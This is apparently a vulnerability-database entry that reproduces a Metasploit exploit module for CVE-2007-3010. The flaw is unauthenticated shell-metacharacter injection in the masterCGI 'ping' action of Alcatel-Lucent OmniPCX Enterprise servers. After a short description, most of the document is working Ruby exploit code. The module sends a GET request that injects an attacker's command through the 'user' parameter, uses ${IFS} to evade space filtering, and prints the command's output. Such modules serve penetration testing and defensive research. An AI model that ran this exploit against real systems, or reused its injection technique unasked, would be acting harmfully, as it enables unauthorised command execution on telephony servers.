Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution

2009-09-01T03:43:16
ID MSF:EXPLOIT/LINUX/HTTP/ALCATEL_OMNIPCX_MASTERCGI_EXEC
Type metasploit
Reporter Rapid7
Modified 2017-11-08T16:00:24

Description

This module abuses a metacharacter injection vulnerability in the HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise Communication Server 7.1 and earlier. The Unified Maintenance Tool contains a 'masterCGI' binary which allows an unauthenticated attacker to execute arbitrary commands by specifying shell metacharaters as the 'user' within the 'ping' action to obtain 'httpd' user access. This module only supports command line payloads, as the httpd process kills the reverse/bind shell spawn after the HTTP 200 OK response.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # Only interactive single commands supported

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
      'Description'    => %q{
          This module abuses a metacharacter injection vulnerability in the
        HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
        Communication Server 7.1 and earlier. The Unified Maintenance Tool
        contains a 'masterCGI' binary which allows an unauthenticated attacker
        to execute arbitrary commands by specifying shell metacharaters as the
        'user' within the 'ping' action to obtain 'httpd' user access. This
        module only supports command line payloads, as the httpd process kills
        the reverse/bind shell spawn after the HTTP 200 OK response.
      },
      'Author'         => [ 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '40521' ],
          [ 'BID', '25694' ],
          [ 'CVE', '2007-3010' ],
          [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic'
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 09 2007'))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
      ])
  end

  def exploit
    connect

    cmd = payload.encoded.gsub(" ", '${IFS}')
    req =
      "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
      "Host: #{rhost}\r\n\r\n"

    print_status("Sending GET request with command line payload...")
    sock.put(req)

    res = sock.get_once(-1, 5)

    if (res =~ /<h5>(.*)<\/h5>/smi)
      out = $1
      print_line(out.gsub(/<h5>|<\/h5>/, ''))
      return
    end

    handler
    disconnect
  end
end